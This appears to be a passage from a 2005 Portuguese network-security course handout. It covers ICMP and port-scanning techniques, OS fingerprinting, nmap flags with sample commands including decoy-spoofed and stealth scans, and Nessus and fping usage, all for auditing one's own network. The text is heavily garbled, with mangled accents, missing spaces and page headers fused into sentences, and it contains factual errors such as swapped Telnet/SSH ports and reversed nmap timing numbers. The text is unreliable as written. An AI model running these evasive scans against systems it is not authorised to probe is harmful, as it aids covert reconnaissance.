A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e 